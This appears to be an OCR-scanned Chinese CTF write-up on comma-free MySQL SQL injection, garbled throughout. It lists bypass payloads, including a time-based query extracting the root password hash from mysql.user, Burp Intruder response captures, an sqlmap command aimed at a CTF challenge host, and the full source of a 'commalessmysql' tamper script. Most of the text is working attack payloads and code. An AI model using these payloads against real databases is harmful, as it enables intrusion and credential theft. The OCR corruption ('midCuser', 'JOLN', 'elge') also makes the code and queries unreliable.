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£ from to B9 TR 2:

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

&/ join:

union select 1,2 #ENT
union select * from (select 1)a join (select 2)b

{EF8 like:

select ascii(midCuser(),1,1))=80 #=MNT
select user() like 'r%’

ST limit A] BAMER offset k51T

select * from news limit 0,1
# EMNF THEIXESQLIED
select * from news limit 1 offset @

select * from tablel where id =1 and exists (select * from table2 where ord(substring(username from 1 for 1)=97);



1277 UNLION SELECT * FROM CCSELECT 1)a JOIN (SELECT Z)b JOIN (SELECT 5)c JOLN (SELECT 4)d JOLN (SELECT >)e)#

select case when substring((select password from mysql.user where user='root') from 1 for 1)="e' then sleep(5) else 0@ end
#

substring((select password from mysql.user where user='root') from -1) ='e
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Payload: (@variable
Status: 200
Length: 373
Timer: 56

Hequest | Response ]
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Action
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jRaw T Headers T Hex T HTML I Render ]

Date: Thu, 27 Junm 2019 15:32:08 GMT
Content—-Type: text html
Content—Length: 147

Connection: close

Vary: Accept—-Encoding

Vary: Accept—-Encoding

¥-Via-J5L: odao%4a, -

X-Cache: bypass

<himl >
<title*try to bypass med titlex

<table border="1">

Ctr
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Payload: J[@variable
Status: 200
Length: 364
Timer: 60
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jRaw T Headers T Hex T HTML I Render ]

Content—-Type: text html
Content—Length: 158
Connection: close

Vary: Accept—-Encoding
Vary: Accept—-Encoding
¥-Via-J5L: odao%4a, -
X-Cache: bypass
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<table border="1">
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python sglmap.py -u

" http://81abbadbbfd54553ab84f1969f4479dc0e3ad323bdcad9b0.changame.ichungiu.com/I0gin.php?id=1" —p id ——level

3 ——risk 3 ——tamper=commalessmysgl —v3 -D sqgli =T users ——columns
commalessmysqgl.py

#!/usr/bin/env python2

Writed by Ovie 2016-12-05
TE{EMpython2 sqlmap.py --tamper 'commalessmysql'

nnn

import re
from 1ib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST

def dependencies():
pass

def tamper(payload, **kwargs):

Replaces some instances with something whthout comma

Requirement:
* MySQL

Tested against:
* MySQL 5.0

>>> tamper("ISNULL(TIMESTAMPADD(MINUTE,7061,NULL)) ")
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"ISNULLCNULL)'

>>> tamper("MIDCVERSION(), 2, 1D")
'"MIDCVERSION() FROM 2 FOR 1)'

>>> tamper('IF(26=26,0,5)")
"CASE WHEN 26=26 THEN @ ELSE 5 END'

>>> tamper('IFNULLCNULL,@x20)")
"CASE WHEN NULL=NULL THEN ©x2@0 ELSE NULL END'

>>> tamper('LIMIT 2, 3')
'"LIMIT 3 OFFSET 2'

def commalessif(payload):
if payload and payload.find("IF") > -1:
while payload.find("IF(") > -1:
index = payload.find("IF(")
depth = 1
commal, comma2, end = None, None, None

for i in xrange(index + len("IF("), len(payload)):

if depth == 1 and payload[i] == ',' and not commal:
commal = i

elif depth == 1 and payload[i] == ',' and commal:
comma2 = i

elif depth == 1 and payload[i] == ")':
end = i
break

elif payload[i] == "(':
depth += 1

elif payload[i] == ")':

depth -= 1



if commal and comma2 and end:
_ = payload[index + len("IF("):commal]
_ = payload[commal + 1:commaZ]

___ = payload[comma2 + 1:end]

newVal = "CASE WHEN %s THEN %s ELSE %s END" % (_, __, ___)

payload = payload[:index] + newVal + payload[end + 1:]
else:

break

return payload

def commalessifnull(payload):
if payload and payload.find("IFNULL") > -1:
while payload.find("IFNULLC") > -1:
index = payload.find("IFNULL(")
depth = 1

comma, end = None, None

for i in xrange(index + len("IFNULL(C"), len(payload)):
if depth == 1 and payload[i] == ', ":
comma = i

elif depth == 1 and payload[i] == ')':
end = 1
break

elif payload[i] == "(':
depth += 1

elif payload[i] == ")':
depth -= 1

if comma and end:
_ = payload[index + len("IFNULL(C"):comma]
__ = payload[comma + l:end].lstrip()
newVal = "CASE WHEN %s=NULL THEN %s ELSE %s END" % (_, __, _)
payload = payload[:index] + newVal + payload[end + 1:]
elge:



break

return payload

retVal = payload

if payload:
retVal = re.sub(r'(?i)TIMESTAMPADD\(\w+,\d+,NULL\)", 'NULL', retVal)

retVal = re.sub(r'(?i)MID\CC.+?2)\s* \s*(\d+)\s*\,\s*(\d+)\s*\)', 'MID(\g<l> FROM \g<2> FOR \g<3>)', retVal)
retVal = commalessif(retVal)

retVal = commalessifnull(retVal)

retVal = re.sub(r'(?1)LIMIT\s*(\d+),\s*(\d+)", 'LIMIT \g<2> OFFSET \g<1l>', retVal)

return retVal
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